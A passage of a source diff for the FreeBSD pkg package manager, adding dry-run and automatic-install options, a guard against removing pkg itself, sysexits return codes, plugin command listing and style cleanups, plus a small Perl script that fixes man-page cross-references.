	if (pkg_jobs_new(&jobs, PKG_JOBS_DEINSTALL, db) != EPKG_OK) {
+
	if (pkg_jobs_new(&jobs, PKG_JOBS_DEINSTALL, db, force, dry_run)
+
	    != EPKG_OK) {
		pkgdb_close(db);
-
		return (EPKG_FATAL);
+
		return (EX_IOERR);
	}

	if ((it = pkgdb_query_delete(db, match, argc, argv, recursive)) == NULL)
		goto cleanup;

	while (pkgdb_it_next(it, &pkg, flags) == EPKG_OK) {
+
		pkg_get(pkg, PKG_ORIGIN, &origin);
+
		if (!force && !haspkg) {
+
			if (strcmp(origin, "ports-mgmt/pkg") == 0)
+
				haspkg = true;
+
		}
		pkg_jobs_add(jobs, pkg);
		pkg = NULL;
	}
+
	if (haspkg && !force) {
+
		warnx("You are about to delete 'ports-mgmt/pkg' which is really "
+
		    "dangerous, you can't do that without specifying -f");
+
		goto cleanup;
+
	}

	/* check if we have something to deinstall */
	if (pkg_jobs_is_empty(jobs)) {
		if (argc == 0) {
			if (!quiet)
-
				printf("Nothing to do\n");
-
			retcode = EXIT_SUCCESS;
+
				printf("Nothing to do.\n");
+
			retcode = EX_OK;
		} else {
-
			fprintf(stderr, "Package(s) not found\n");
-
			retcode = EXIT_FAILURE;
+
			fprintf(stderr, "Package(s) not found!\n");
+
			retcode = EX_DATAERR;
		}
		goto cleanup;
	}

	pkg = NULL;
-
	if (!quiet) {
-
		print_jobs_summary(jobs, PKG_JOBS_DEINSTALL, "The following packages will be deinstalled:\n\n");
+
	if (!quiet || dry_run) {
+
		print_jobs_summary(jobs, PKG_JOBS_DEINSTALL,
+
		    "The following packages will be deinstalled:\n\n");

		if (!yes)
			pkg_config_bool(PKG_CONFIG_ASSUME_ALWAYS_YES, &yes);
-
		if (!yes)
-
			yes = query_yesno("\nProceed with deinstalling packages [y/N]: ");
-

+
		if (!yes && !dry_run)
+
			yes = query_yesno(
+
		            "\nProceed with deinstalling packages [y/N]: ");
+
		if (dry_run)
+
			yes = false;
	}
	if (yes) {
-
		if ((retcode = pkg_jobs_apply(jobs, force)) != EPKG_OK)
+
		if ((retcode = pkg_jobs_apply(jobs)) != EPKG_OK)
			goto cleanup;
	} else
		goto cleanup;

	pkgdb_compact(db);

-
	retcode = 0;
+
	retcode = EX_OK;

cleanup:
	pkg_jobs_free(jobs);
modified pkg/event.c
@@ -59,19 +59,26 @@ event_callback(void *data, struct pkg_event *ev)
	case PKG_EVENT_ERROR:
		warnx("%s", ev->e_pkg_error.msg);
		break;
+
	case PKG_EVENT_DEVELOPER_MODE:
+
		warnx("DEVELOPER_MODE: %s", ev->e_pkg_error.msg);
+
		break;
	case PKG_EVENT_FETCHING:
-
		if (quiet)
+
		if (quiet || !isatty(fileno(stdin)))
			break;
		if (fetched == 0) {
			filename = strrchr(ev->e_fetching.url, '/');
			if (filename != NULL) {
				filename++;
			} else {
-
				// We failed at beeing smart, display the entire url
+
				/*
+
				 * We failed at being smart, so display
+
				 * the entire url.
+
				 */
				filename = ev->e_fetching.url;
			}
			strlcpy(url, filename, sizeof(url));
-
			start_progress_meter(url, ev->e_fetching.total, &fetched);
+
			start_progress_meter(url, ev->e_fetching.total,
+
			    &fetched);
		}
		fetched = ev->e_fetching.done;
		if (ev->e_fetching.done == ev->e_fetching.total) {
@@ -82,7 +89,8 @@ event_callback(void *data, struct pkg_event *ev)
	case PKG_EVENT_INSTALL_BEGIN:
		if (quiet)
			break;
-
		pkg_get(ev->e_install_begin.pkg, PKG_NAME, &name, PKG_VERSION, &version);
+
		pkg_get(ev->e_install_begin.pkg, PKG_NAME, &name,
+
		    PKG_VERSION, &version);
		printf("Installing %s-%s...", name, version);
		break;
	case PKG_EVENT_INSTALL_FINISHED:
@@ -109,8 +117,9 @@ event_callback(void *data, struct pkg_event *ev)
	case PKG_EVENT_DEINSTALL_BEGIN:
		if (quiet)
			break;
-
		pkg_get(ev->e_deinstall_begin.pkg, PKG_NAME, &name, PKG_VERSION, &version);
-
		printf("Deinstalling %s-%s...", name, version);
+
		pkg_get(ev->e_deinstall_begin.pkg, PKG_NAME, &name,
+
		    PKG_VERSION, &version);
+
		printf("Deleting %s-%s...", name, version);
		break;
	case PKG_EVENT_DEINSTALL_FINISHED:
		if (quiet)
@@ -120,18 +129,20 @@ event_callback(void *data, struct pkg_event *ev)
	case PKG_EVENT_UPGRADE_BEGIN:
		if (quiet)
			break;
-
		pkg_get(ev->e_upgrade_finished.pkg, PKG_NAME, &name, PKG_VERSION, &version,
-
		    PKG_NEWVERSION, &newversion);
+
		pkg_get(ev->e_upgrade_finished.pkg, PKG_NAME, &name,
+
		    PKG_VERSION, &version, PKG_NEWVERSION, &newversion);
		switch (pkg_version_cmp(version, newversion)) {
-
			case 1:
-
				printf("Downgrading %s from %s to %s...", name, version, newversion);
-
				break;
-
			case 0:
-
				printf("Reinstalling %s-%s", name, version);
-
				break;
-
			case -1:
-
				printf("Upgrading %s from %s to %s...", name, version, newversion);
-
				break;
+
		case 1:
+
			printf("Downgrading %s from %s to %s...", name,
+
			    version, newversion);
+
			break;
+
		case 0:
+
			printf("Reinstalling %s-%s", name, version);
+
			break;
+
		case -1:
+
			printf("Upgrading %s from %s to %s...", name,
+
			    version, newversion);
+
			break;
		}
		break;
	case PKG_EVENT_UPGRADE_FINISHED:
@@ -142,10 +153,10 @@ event_callback(void *data, struct pkg_event *ev)
	case PKG_EVENT_REQUIRED:
		pkg = ev->e_required.pkg;
		pkg_get(pkg, PKG_NAME, &name, PKG_VERSION, &version);
-
		fprintf(stderr, "%s-%s is required by:", name, version);
-
		while (pkg_rdeps(pkg, &dep) == EPKG_OK) {
-
			fprintf(stderr, " %s", pkg_dep_get(dep, PKG_DEP_ORIGIN));
-
		}
+
		fprintf(stderr, "\n%s-%s is required by:", name, version);
+
		while (pkg_rdeps(pkg, &dep) == EPKG_OK)
+
			fprintf(stderr, " %s-%s", pkg_dep_name(dep),
+
			    pkg_dep_version(dep));
		if (ev->e_required.force == 1)
			fprintf(stderr, ", deleting anyway\n");
		else
@@ -154,28 +165,35 @@ event_callback(void *data, struct pkg_event *ev)
	case PKG_EVENT_ALREADY_INSTALLED:
		if (quiet)
			break;
-
		pkg_get(ev->e_already_installed.pkg, PKG_NAME, &name, PKG_VERSION, &version);
+
		pkg_get(ev->e_already_installed.pkg, PKG_NAME, &name,
+
		    PKG_VERSION, &version);
		printf("%s-%s already installed\n", name, version);
		break;
	case PKG_EVENT_MISSING_DEP:
-
		fprintf(stderr, "missing dependency %s-%s", pkg_dep_get(ev->e_missing_dep.dep, PKG_DEP_NAME),
-
		    pkg_dep_get(ev->e_missing_dep.dep, PKG_DEP_VERSION));
+
		fprintf(stderr, "missing dependency %s-%s",
+
		    pkg_dep_name(ev->e_missing_dep.dep),
+
		    pkg_dep_version(ev->e_missing_dep.dep));
		break;
	case PKG_EVENT_NOREMOTEDB:
-
		fprintf(stderr, "Unable to open remote database \"%s\", try running `%s update` first\n", ev->e_remotedb.repo, getprogname());
+
		fprintf(stderr, "Unable to open remote database \"%s\". "
+
		    "Try running '%s update' first.\n", ev->e_remotedb.repo,
+
		    getprogname());
		break;
	case PKG_EVENT_NOLOCALDB:
		/* only cares if run as root */
		if (geteuid() == 0)
-
			fprintf(stderr, "Unable to create local database\n");
+
			fprintf(stderr, "Unable to create local database!\n");
		break;
	case PKG_EVENT_NEWPKGVERSION:
-
		printf("New version of pkg detected, it needs to be installed first.\n"
-
			"After this upgrade it is recommended that you do a full upgrade using: 'pkg upgrade'\n\n");
+
		printf("New version of pkg detected; it needs to be "
+
		    "installed first.\nAfter this upgrade it is recommended"
+
		    "that you do a full upgrade using: 'pkg upgrade'\n\n");
		break;
	case PKG_EVENT_FILE_MISMATCH:
-
		pkg_get(ev->e_file_mismatch.pkg, PKG_NAME, &name, PKG_VERSION, &version);
-
		fprintf(stderr, "%s-%s: checksum mismatch for %s\n", name, version, pkg_file_get(ev->e_file_mismatch.file, PKG_FILE_PATH));
+
		pkg_get(ev->e_file_mismatch.pkg, PKG_NAME, &name,
+
		    PKG_VERSION, &version);
+
		fprintf(stderr, "%s-%s: checksum mismatch for %s\n", name,
+
		    version, pkg_file_path(ev->e_file_mismatch.file));
	default:
		break;
	}
modified pkg/fetch.c
@@ -54,7 +54,7 @@ exec_fetch(int argc, char **argv)
	struct pkgdb *db = NULL;
	struct pkg_jobs *jobs = NULL;
	const char *reponame = NULL;
-
	int retcode = EXIT_FAILURE;
+
	int retcode = EX_SOFTWARE;
	int ch;
	int flags = PKG_LOAD_BASIC;
	bool yes = false;
@@ -105,19 +105,19 @@ exec_fetch(int argc, char **argv)

	/* TODO: Allow the user to specify an output directory via -o outdir */
	if (geteuid() != 0) {
-
		warnx("fetching packages can only be done as root");
+
		warnx("Fetching packages can only be done as root");
		return (EX_NOPERM);
	}

	/* first update the remote repositories if needed */
-
	if (auto_update && (retcode = pkgcli_update()) != EPKG_OK)
+
	if (auto_update && (retcode = pkgcli_update(false)) != EPKG_OK)
		return (retcode);

	if (pkgdb_open(&db, PKGDB_REMOTE) != EPKG_OK) {
		return (EX_IOERR);
	}

-
	if (pkg_jobs_new(&jobs, PKG_JOBS_FETCH, db) != EPKG_OK) {
+
	if (pkg_jobs_new(&jobs, PKG_JOBS_FETCH, db, false, false) != EPKG_OK) {
		goto cleanup;
	}

@@ -144,10 +144,10 @@ exec_fetch(int argc, char **argv)
	}
	
	if (yes)
-
		if (pkg_jobs_apply(jobs, 0) != EPKG_OK)
+
		if (pkg_jobs_apply(jobs) != EPKG_OK)
			goto cleanup;

-
	retcode = EXIT_SUCCESS;
+
	retcode = EX_OK;

	cleanup:
	pkg_jobs_free(jobs);
added pkg/fix-xrefs
@@ -0,0 +1,52 @@
+
#!/usr/bin/perl
+

+
use strict;
+
use warnings;
+
use autodie;
+
use feature qw(switch);
+

+
require 5.10.1;
+

+
$0 =~ s@.*/@@;
+

+
MAIN:
+
{
+
    my @xrefs;
+
    my $see_also;
+

+
    @xrefs = map { (my $x = $_) =~ s/^(\S+)\.(\d)/.Xr $1 $2/; $x } @ARGV;
+

+
    eval {
+
        for my $man (@ARGV)
+
        {
+
            open READ,  "<$man";
+
            open WRITE, ">$man.new";
+

+
            $see_also = undef;
+

+
            while (<READ>) {
+
                if (/^\.Sh SEE ALSO/) {
+
                    $see_also = 1;
+
                    print WRITE $_;
+
                    print WRITE join( " ,\n", grep { !/$man/ } @xrefs ), "\n";
+
                    next;
+
                }
+
                if ( $see_also && /^\.Xr/ ) {
+
                    next;
+
                }
+
                print WRITE $_;
+
            }
+
            close READ;
+
            close WRITE;
+

+
	    rename "$man.new", $man;
+
        }
+
    };
+
    given ($@) {
+
        when (undef)  { exit 0; }
+
        when ('')     { exit 0; }
+
        when ('open') { die "$0: open() failed -- $@\n"; }
+
        default       { die "$0: Error -- $@\n"; }
+
    }
+
    exit 0;
+
}
modified pkg/info.c
@@ -50,8 +50,8 @@ usage_info(void)
{
	fprintf(stderr, "usage: pkg info <pkg-name>\n");
	fprintf(stderr, "       pkg info -a\n");
-
	fprintf(stderr, "       pkg info [-eDgxXdrlBsqOf] <pkg-name>\n");
-
	fprintf(stderr, "       pkg info [-drlBsqfR] -F <pkg-file>\n\n");
+
	fprintf(stderr, "       pkg info [-BDdefgIlOqRrsXx] <pkg-name>\n");
+
	fprintf(stderr, "       pkg info [-BDdfIlqRrs] -F <pkg-file>\n\n");
	fprintf(stderr, "For more information see 'pkg help info'.\n");
}

@@ -65,9 +65,9 @@ exec_info(int argc, char **argv)
{
	struct pkgdb *db = NULL;
	struct pkgdb_it *it = NULL;
-
	int query_flags = PKG_LOAD_BASIC;
+
	int query_flags;
	struct pkg *pkg = NULL;
-
	unsigned int opt = 0;
+
	unsigned int opt = INFO_TAG_NAMEVER;
	match_t match = MATCH_EXACT;
	char *pkgname;
	char *pkgversion = NULL, *pkgversion2 = NULL;
@@ -79,76 +79,75 @@ exec_info(int argc, char **argv)
	int i, j;
	int sign = 0;
	int sign2 = 0;
+
	bool pkg_exists = false;
+
	bool origin_search = false;

	/* TODO: exclusive opts ? */
-
	while ((ch = getopt(argc, argv, "aDegxXEdrlBsqopOfF:R")) != -1) {
+
	while ((ch = getopt(argc, argv, "aDegxXEIdrlBsqopOfF:R")) != -1) {
		switch (ch) {
-
			case 'a':
-
				match = MATCH_ALL;
-
				break;
-
			case 'O':
-
				opt |= INFO_ORIGIN_SEARCH;  /* this is only for ports compat */
-
				break;
-
			case 'e':
-
				opt |= INFO_EXISTS;
-
				retcode = 1;
-
				break;
-
			case 'g':
-
				match = MATCH_GLOB;
-
				break;
-
			case 'x':
-
				match = MATCH_REGEX;
-
				break;
-
			case 'X':
-
				match = MATCH_EREGEX;
-
				break;
-
			case 'D':
-
				opt |= INFO_PRINT_MESSAGE;
-
				query_flags |= PKG_LOAD_BASIC;
-
				break;
-
			case 'd':
-
				opt |= INFO_PRINT_DEP;
-
				query_flags |= PKG_LOAD_DEPS;
-
				break;
-
			case 'r':
-
				opt |= INFO_PRINT_RDEP;
-
				query_flags |= PKG_LOAD_RDEPS;
-
				break;
-
			case 'l':
-
				opt |= INFO_LIST_FILES;
-
				query_flags |= PKG_LOAD_FILES;
-
				break;
-
			case 'B':
-
				opt |= INFO_LIST_SHLIBS;
-
				query_flags |= PKG_LOAD_SHLIBS;
-
				break;
-
			case 's':
-
				opt |= INFO_SIZE;
-
				break;
-
			case 'E': /* ports compatibility */
-
			case 'q':
-
				opt |= INFO_QUIET;
-
				break;
-
			case 'o':
-
				opt |= INFO_ORIGIN;
-
				break;
-
			case 'p':
-
				opt |= INFO_PREFIX;
-
				break;
-
			case 'f':
-
				opt |= INFO_FULL;
-
				query_flags |= PKG_LOAD_CATEGORIES|PKG_LOAD_LICENSES|PKG_LOAD_OPTIONS;
-
				break;
-
			case 'F':
-
				file = optarg;
-
				break;
-
			case 'R':
-
				opt |= INFO_RAW;
-
				query_flags |= PKG_LOAD_FILES|PKG_LOAD_DIRS|PKG_LOAD_CATEGORIES|PKG_LOAD_LICENSES|PKG_LOAD_OPTIONS|PKG_LOAD_SCRIPTS|PKG_LOAD_USERS|PKG_LOAD_GROUPS|PKG_LOAD_DEPS|PKG_LOAD_SHLIBS;
-
				break;
-
			default:
-
				usage_info();
-
				return(EX_USAGE);
+
		case 'a':
+
			match = MATCH_ALL;
+
			break;
+
		case 'O':
+
			origin_search = true;  /* only for ports compat */
+
			break;
+
		case 'e':
+
			pkg_exists = true;;
+
			retcode = 1;
+
			break;
+
		case 'g':
+
			match = MATCH_GLOB;
+
			break;
+
		case 'x':
+
			match = MATCH_REGEX;
+
			break;
+
		case 'X':
+
			match = MATCH_EREGEX;
+
			break;
+
		case 'D':
+
			opt |= INFO_MESSAGE;
+
			break;
+
		case 'd':
+
			opt |= INFO_DEPS;
+
			break;
+
		case 'I':
+
			opt |= INFO_COMMENT;
+
			break;
+
		case 'r':
+
			opt |= INFO_RDEPS;
+
			break;
+
		case 'l':
+
			opt |= INFO_FILES;
+
			break;
+
		case 'B':
+
			opt |= INFO_SHLIBS;
+
			break;
+
		case 's':
+
			opt |= INFO_FLATSIZE;
+
			break;
+
		case 'E': /* ports compatibility */
+
			/* FALLSTHROUGH */
+
		case 'q':
+
			quiet = true;
+
			break;
+
		case 'o':
+
			opt |= INFO_ORIGIN;
+
			break;
+
		case 'p':
+
			opt |= INFO_PREFIX;
+
			break;
+
		case 'f':
+
			opt |= INFO_FULL;
+
			break;
+
		case 'F':
+
			file = optarg;
+
			break;
+
		case 'R':
+
			opt |= INFO_RAW;
+
			break;
+
		default:
+
			usage_info();
+
			return(EX_USAGE);
		}
	}

@@ -160,14 +159,29 @@ exec_info(int argc, char **argv)

	if (argc == 0 && file == NULL && match != MATCH_ALL) {
		/* which -O bsd.*.mk always execpt clean output */
-
		if (opt & INFO_ORIGIN_SEARCH)
+
		if (origin_search)
			return (EX_OK);
		usage_info();
		return (EX_USAGE);
	}

+
	/* When no other data is requested, default is to print
+
	 * 'name-ver comment' For -O, just print name-ver */
+
	if (!origin_search && (opt & INFO_ALL) == 0 && match == MATCH_ALL) 
+
		opt |= INFO_COMMENT;
+

+
	/* Special compatibility: handle -O and -q -O */
+
	if (origin_search) {
+
		if (quiet) {
+
			opt = INFO_TAG_NAMEVER;
+
			quiet = false;
+
		} else {
+
			opt = INFO_TAG_NAMEVER|INFO_COMMENT;
+
		}
+
	}
+

	if (file != NULL) {
-
		if (pkg_open(&pkg, file, NULL) != EPKG_OK) {
+
		if (pkg_open(&pkg, file) != EPKG_OK) {
			return (1);
		}
		print_info(pkg, opt);
@@ -181,12 +195,12 @@ exec_info(int argc, char **argv)
			return (EX_IOERR);

		if (match == MATCH_ALL)
-
			return (EXIT_SUCCESS);
+
			return (EX_OK);

-
		if ((opt & INFO_QUIET) == 0)
-
			printf("No package installed\n");
+
		if (!quiet)
+
			printf("No packages installed.\n");

-
		return (EXIT_FAILURE);
+
		return (EX_UNAVAILABLE);
	}

	if (ret != EPKG_OK)
@@ -197,7 +211,7 @@ exec_info(int argc, char **argv)
		gotone = false;
		pkgname = argv[i];
		if (match != MATCH_ALL && pkgname[0] == '\0') {
-
			fprintf(stderr, "Pattern should not be empty\n");
+
			fprintf(stderr, "Pattern must not be empty.\n");
			i++;
			continue;
		}
@@ -293,11 +307,12 @@ exec_info(int argc, char **argv)

		/* ports infrastructure expects pkg info -q -O to always return 0 even
		 * if the ports doesn't exists */
-
		if (opt & INFO_ORIGIN_SEARCH)
+
		if (origin_search)
			gotone = true;

		/* end of compatibility hacks */

+
		query_flags = info_flags(opt);
		while ((ret = pkgdb_it_next(it, &pkg, query_flags)) == EPKG_OK) {
			gotone = true;
			const char *version;
@@ -305,59 +320,63 @@ exec_info(int argc, char **argv)
			pkg_get(pkg, PKG_VERSION, &version);
			if (pkgversion != NULL) {
				switch (pkg_version_cmp(version, pkgversion)) {
-
					case -1:
-
						if (sign != LT && sign != LE) {
-
							gotone = false;
-
							continue;
-
						}
-
						break;
-
					case 0:
-
						if (sign != LE && sign != GE && sign != EQ) {
-
							gotone = false;
-
							continue;
-
						}
-
						break;
-
					case 1:
-
						if (sign != GT && sign != GE) {
-
							gotone = false;
-
							continue;
-
						}
-
						break;
+
				case -1:
+
					if (sign != LT && sign != LE) {
+
						gotone = false;
+
						continue;
+
					}
+
					break;
+
				case 0:
+
					if (sign != LE &&
+
					    sign != GE &&
+
					    sign != EQ) {
+
						gotone = false;
+
						continue;
+
					}
+
					break;
+
				case 1:
+
					if (sign != GT && sign != GE) {
+
						gotone = false;
+
						continue;
+
					}
+
					break;
				}
			}
			if (pkgversion2 != NULL) {
-
				switch(pkg_version_cmp(version, pkgversion2)) {
-
					case -1:
-
						if (sign2 != LT && sign2 != LE) {
-
							gotone = false;
-
							continue;
-
						}
-
						break;
-
					case 0:
-
						if (sign2 != LE && sign2 != GE && sign2 != EQ) {
-
							gotone = false;
-
							continue;
-
						}
-
						break;
-
					case 1:
-
						if (sign2 != GT && sign2 != GE) {
-
							gotone = false;
-
							continue;
-
						}
-
						break;
+
				switch (pkg_version_cmp(version, pkgversion2)) {
+
				case -1:
+
					if (sign2 != LT && sign2 != LE) {
+
						gotone = false;
+
						continue;
+
					}
+
					break;
+
				case 0:
+
					if (sign2 != LE &&
+
					    sign2 != GE &&
+
					    sign2 != EQ) {
+
						gotone = false;
+
						continue;
+
					}
+
					break;
+
				case 1:
+
					if (sign2 != GT && sign2 != GE) {
+
						gotone = false;
+
						continue;
+
					}
+
					break;
				}
			}
-
			if (opt & INFO_EXISTS)
-
				retcode = 0;
+
			if (pkg_exists)
+
				retcode = EX_OK;
			else
				print_info(pkg, opt);
		}
		if (ret != EPKG_END) {
-
			retcode = 1;
+
			retcode = EX_IOERR;
		}

-
		if (retcode == 0 && !gotone && match != MATCH_ALL) {
-
			if ((opt & INFO_QUIET) == 0)
+
		if (retcode == EX_OK && !gotone && match != MATCH_ALL) {
+
			if (!quiet)
				warnx("No package(s) matching %s", argv[i]);
			retcode = EX_SOFTWARE;
		}
modified pkg/install.c
@@ -44,7 +44,8 @@
void
usage_install(void)
{
-
	fprintf(stderr, "usage: pkg install [-r reponame] [-yqfgxXL] <pkg-name> <...>\n\n");
+
	fprintf(stderr,
+
	    "usage: pkg install [-AfgLnqRXxy] [-r reponame] <pkg-name> ...\n\n");
	fprintf(stderr, "For more information see 'pkg help install'.\n");
}

@@ -56,43 +57,55 @@ exec_install(int argc, char **argv)
	struct pkgdb *db = NULL;
	struct pkg_jobs *jobs = NULL;
	const char *reponame = NULL;
-
	int retcode = 1;
+
	int retcode = EX_SOFTWARE;
	int ch;
	bool yes = false;
	bool auto_update = true;
+
	bool recursive = false;
+
	bool automatic = false;

	match_t match = MATCH_EXACT;
	bool force = false;
+
	bool dry_run = false;

-
	while ((ch = getopt(argc, argv, "yfgxXr:qL")) != -1) {
+
	while ((ch = getopt(argc, argv, "AfgLnqRr:Xxy")) != -1) {
		switch (ch) {
-
			case 'y':
-
				yes = true;
-
				break;
-
			case 'g':
-
				match = MATCH_GLOB;
-
				break;
-
			case 'x':
-
				match = MATCH_REGEX;
-
				break;
-
			case 'X':
-
				match = MATCH_EREGEX;
-
				break;
-
			case 'r':
-
				reponame = optarg;
-
				break;
-
			case 'f':
-
				force = true;
-
				break;
-
			case 'q':
-
				quiet = true;
-
				break;
-
			case 'L':
-
				auto_update = false;
-
				break;
-
			default:
-
				usage_install();
-
				return (EX_USAGE);
+
		case 'A':
+
			automatic = true;
+
			break;
+
		case 'f':
+
			force = true;
+
			break;
+
		case 'g':
+
			match = MATCH_GLOB;
+
			break;
+
		case 'L':
+
			auto_update = false;
+
			break;
+
		case 'n':
+
			dry_run = true;
+
			break;
+
		case 'q':
+
			quiet = true;
+
			break;
+
		case 'R':
+
			recursive = true;
+
			break;
+
		case 'r':
+
			reponame = optarg;
+
			break;
+
		case 'X':
+
			match = MATCH_EREGEX;
+
			break;
+
		case 'x':
+
			match = MATCH_REGEX;
+
			break;
+
		case 'y':
+
			yes = true;
+
			break;
+
		default:
+
			usage_install();
+
			return (EX_USAGE);
		}
	}
	argc -= optind;
@@ -104,26 +117,31 @@ exec_install(int argc, char **argv)
	}

	if (geteuid() != 0) {
-
		warnx("installing packages can only be done as root");
+
		warnx("Installing packages can only be done as root");
		return (EX_NOPERM);
	}

	/* first update the remote repositories if needed */
-
	if (auto_update && (retcode = pkgcli_update()) != EPKG_OK)
+
	if (auto_update && (retcode = pkgcli_update(false)) != EPKG_OK)
		return (retcode);

	if (pkgdb_open(&db, PKGDB_REMOTE) != EPKG_OK) {
		return (EX_IOERR);
	}

-
	if (pkg_jobs_new(&jobs, PKG_JOBS_INSTALL, db) != EPKG_OK) {
+
	if (pkg_jobs_new(&jobs, PKG_JOBS_INSTALL, db, force, dry_run)
+
	    != EPKG_OK) {
		goto cleanup;
	}

-
	if ((it = pkgdb_query_installs(db, match, argc, argv, reponame, force)) == NULL)
+
	if ((it = pkgdb_query_installs(db, match, argc, argv, reponame,
+
	    force, recursive)) == NULL)
		goto cleanup;

-
	while (pkgdb_it_next(it, &pkg, PKG_LOAD_BASIC|PKG_LOAD_DEPS) == EPKG_OK) {
+
	while (pkgdb_it_next(it, &pkg, PKG_LOAD_BASIC|PKG_LOAD_DEPS) ==
+
	    EPKG_OK) {
+
		if (automatic)
+
			pkg_set(pkg, PKG_AUTOMATIC, true);
		pkg_jobs_add(jobs, pkg);
		pkg = NULL;
	}
@@ -134,17 +152,21 @@ exec_install(int argc, char **argv)

	/* print a summary before applying the jobs */
	pkg = NULL;
-
	if (!quiet) {
-
		print_jobs_summary(jobs, PKG_JOBS_INSTALL, "The following packages will be installed:\n\n");
+
	if (!quiet || dry_run) {
+
		print_jobs_summary(jobs, PKG_JOBS_INSTALL,
+
		    "The following packages will be installed:\n\n");

		if (!yes)
			pkg_config_bool(PKG_CONFIG_ASSUME_ALWAYS_YES, &yes);
-
		if (!yes)
-
			yes = query_yesno("\nProceed with installing packages [y/N]: ");
+
		if (!yes && !dry_run)
+
			yes = query_yesno(
+
			    "\nProceed with installing packages [y/N]: ");
+
		if (dry_run)
+
			yes = false;
	}

	if (yes)
-
		if (pkg_jobs_apply(jobs, force) != EPKG_OK)
+
		if (pkg_jobs_apply(jobs) != EPKG_OK)
			goto cleanup;

	if (messages != NULL) {
@@ -152,7 +174,7 @@ exec_install(int argc, char **argv)
		printf("%s", sbuf_data(messages));
	}

-
	retcode = 0;
+
	retcode = EX_OK;

	cleanup:
	pkg_jobs_free(jobs);
modified pkg/main.c
@@ -62,28 +62,30 @@ static struct commands {
	{ "add", "Registers a package and installs it on the system", exec_add, usage_add},
	{ "audit", "Reports vulnerable packages", exec_audit, usage_audit},
	{ "autoremove", "Removes orphan packages", exec_autoremove, usage_autoremove},
-
	{ "backup", "Backup and restore the local package database", exec_backup, usage_backup},
-
	{ "check", "Check for missing dependencies and database consistency", exec_check, usage_check},
+
	{ "backup", "Backs-up and restores the local package database", exec_backup, usage_backup},
+
	{ "check", "Checks for missing dependencies and database consistency", exec_check, usage_check},
	{ "clean", "Cleans old packages from the cache", exec_clean, usage_clean},
	{ "create", "Creates software package distributions", exec_create, usage_create},
	{ "delete", "Deletes packages from the database and the system", exec_delete, usage_delete},
	{ "fetch", "Fetches packages from a remote repository", exec_fetch, usage_fetch},
	{ "help", "Displays help information", exec_help, usage_help},
-
	{ "info", "Displays information for installed packages", exec_info, usage_info},
+
	{ "info", "Displays information about installed packages", exec_info, usage_info},
	{ "install", "Installs packages from remote package repositories", exec_install, usage_install},
-
	{ "query", "Query information for installed packages", exec_query, usage_query},
-
	{ "search", "Performs a search in remote package repositories", exec_search, usage_search},
-
	{ "set", "Modify local database informations", exec_set, usage_set},
-
	{ "register", "Registers a package into the local package database", exec_register, usage_register},
+
	{ "plugins", "Manages plugins and displays information about plugins", exec_plugins, usage_plugins},
+
	{ "query", "Queries information about installed packages", exec_query, usage_query},
+
	{ "register", "Registers a package into the local database", exec_register, usage_register},
	{ "remove", "Deletes packages from the database and the system", exec_delete, usage_delete},
-
	{ "repo", "Creates a package database repository", exec_repo, usage_repo},
-
	{ "rquery", "Query information from the remote repository", exec_rquery, usage_rquery},
-
	{ "shell", "Open a debug shell", exec_shell, usage_shell},
-
	{ "shlib", "Displays which package links against a specific shared library", exec_shlib, usage_shlib},
-
	{ "update", "Updates remote package repository databases", exec_update, usage_update},
+
	{ "repo", "Creates a package repository catalogue", exec_repo, usage_repo},
+
	{ "rquery", "Queries information in repository catalogues", exec_rquery, usage_rquery},
+
	{ "search", "Performs a search of package repository catalogues", exec_search, usage_search},
+
	{ "set", "Modifies information about packages in the local database", exec_set, usage_set},
+
	{ "shell", "Opens a debug shell", exec_shell, usage_shell},
+
	{ "shlib", "Displays which packages link against a specific shared library", exec_shlib, usage_shlib},
+
	{ "stats", "Displays package database statistics", exec_stats, usage_stats},
+
	{ "update", "Updates package repository catalogues", exec_update, usage_update},
	{ "updating", "Displays UPDATING information for a package", exec_updating, usage_updating},
-
	{ "upgrade", "Performs upgrades of package software distributions", exec_upgrade, usage_upgrade},
-
	{ "version", "Summarize installed versions of packages", exec_version, usage_version},
+
	{ "upgrade", "Performs upgrades of packaged software distributions", exec_upgrade, usage_upgrade},
+
	{ "version", "Displays the versions of installed packages", exec_version, usage_version},
	{ "which", "Displays which package installed a specific file", exec_which, usage_which},
};

@@ -92,6 +94,9 @@ const unsigned int cmd_len = (sizeof(cmd)/sizeof(cmd[0]));
static void
usage(void)
{
+
	struct pkg_plugins *p = NULL;
+
	bool plugins_enabled = false;
+
	
	fprintf(stderr, "usage: pkg [-v] [-d] [-j <jail name or id>|-c <chroot path>] <command> [<args>]\n\n");
	fprintf(stderr, "Global options supported:\n");
	fprintf(stderr, "\t%-15s%s\n", "-d", "Increment debug level");
@@ -100,23 +105,39 @@ usage(void)
	fprintf(stderr, "\t%-15s%s\n\n", "-v", "Display pkg(1) version");
	fprintf(stderr, "Commands supported:\n");

-
	for (unsigned int i = 0; i < cmd_len; i++) 
+
	for (unsigned int i = 0; i < cmd_len; i++)
		fprintf(stderr, "\t%-15s%s\n", cmd[i].name, cmd[i].desc);

+
	if (!pkg_initialized() && pkg_init(NULL) != EPKG_OK)
+
		errx(EX_SOFTWARE, "Cannot parse configuration file!");
+
	
+
	pkg_config_bool(PKG_CONFIG_ENABLE_PLUGINS, &plugins_enabled);
+

+
	if (plugins_enabled) {
+
		if (pkg_plugins_init() != EPKG_OK)
+
			errx(EX_SOFTWARE, "Plugins cannot be loaded");
+
		
+
		printf("\nCommands provided by plugins:\n");
+
		
+
		while (pkg_plugins_list(&p) != EPKG_END)
+
			if (pkg_plugins_provides_cmd(p))
+
				printf("\t%-15s%s\n",
+
				       pkg_plugins_get(p, PKG_PLUGINS_NAME),
+
				       pkg_plugins_get(p, PKG_PLUGINS_DESC));
+
	}
+
	
	fprintf(stderr, "\nFor more information on the different commands"
			" see 'pkg help <command>'.\n");

+
	pkg_shutdown();
+

	exit(EX_USAGE);
}

static void
usage_help(void)
{
-
	fprintf(stderr, "usage: pkg help <command>\n\n");
-
	fprintf(stderr, "Where <command> can be:\n");
-

-
	for (unsigned int i = 0; i < cmd_len; i++)
-
		fprintf(stderr, "\t%s\n", cmd[i].name);
+
	usage();
}

static int
@@ -170,33 +191,33 @@ main(int argc, char **argv)
	signed char ch;
	int debug = 0;
	int version = 0;
-
	int ret = EXIT_SUCCESS;
+
	int ret = EX_OK;
	const char *buf = NULL;
-
	bool b;
+
	bool b, plugins_enabled = false, plugins_summary = false;
	struct pkg_config_kv *kv = NULL;
	
-
	// Set stdout unbuffered
+
	/* Set stdout unbuffered */
        setvbuf(stdout, NULL, _IONBF, 0);

	if (argc < 2)
		usage();

